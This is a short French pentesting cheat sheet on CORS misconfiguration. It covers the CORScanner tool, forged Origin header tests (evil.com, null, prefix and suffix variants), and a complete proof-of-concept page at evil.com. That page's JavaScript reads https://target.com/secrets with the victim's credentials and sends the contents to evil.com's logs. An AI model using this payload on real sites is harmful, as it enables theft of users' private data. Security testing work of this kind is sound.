CORS

Cross-Origin Ressource Sharing

CORScanner

CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).

Exemple d'utilisation:

$ python cors-scanner.py -u https://target.com/

ressource: https://github.com/chenjj/CORScanner

Manuel

Origin aléatoire

Header Requête:

Origin: http://evil.com

Regarder dans la réponse si l'url est acceptée.

Header Réponse:

Access-Control-Allow-Origin: http://evil.com

Origin null

Header requête:

Origin: null

Regarder si une origine "null" est acceptée.

Header réponse:

Access-Control-Allow-Origin: null

Origin commençant par nom de sous-domaine de la cible

Header requête:

Origin: sub.target.com.evil.com

Header réponse:

Access-Control-Allow-Origin: sub.target.com.evil.com

Origin finissant par nom de sous-domaine de la cible

Header requête:

Origin: eviltarget.com

Origin: evil-target.com

Header réponse:

Access-Control-Allow-Origin: eviltarget.com ou evil-target.com

Exemple de phishing utilisant une mauvaise configuration de CORS:

Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans http://target.com/secrets.

Contenu de la page http://evil.com/exploit:

<script>
    var req = new XMLHttpRequest();    //Initialisation d'une requête XMLHttp
    req.onload = reqListener;    //Initialisation du listener
    req.open('get','https://target.com/secrets',true);    // Capture de la page target.com/secrets de la victime
    req.withCredentials = true;    //"Access-Control-Allow-Credentials: true" nécessaire sinon la requête sera bloquée 
    req.send();    //envoie de la requête

    function reqListener() {
        location='/log?key='+this.responseText;    //affichage de la réponse dans les logs
    };
</script>

On envoie ensuite le lien (http://evil.com/exploit) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur https://target.com/secrets et récupérer ses identifiants pour les afficher dans les logs de evil.com (http://evil.com/log?key=<données de la page https://target.com/secrets>).

Dernière mise à jour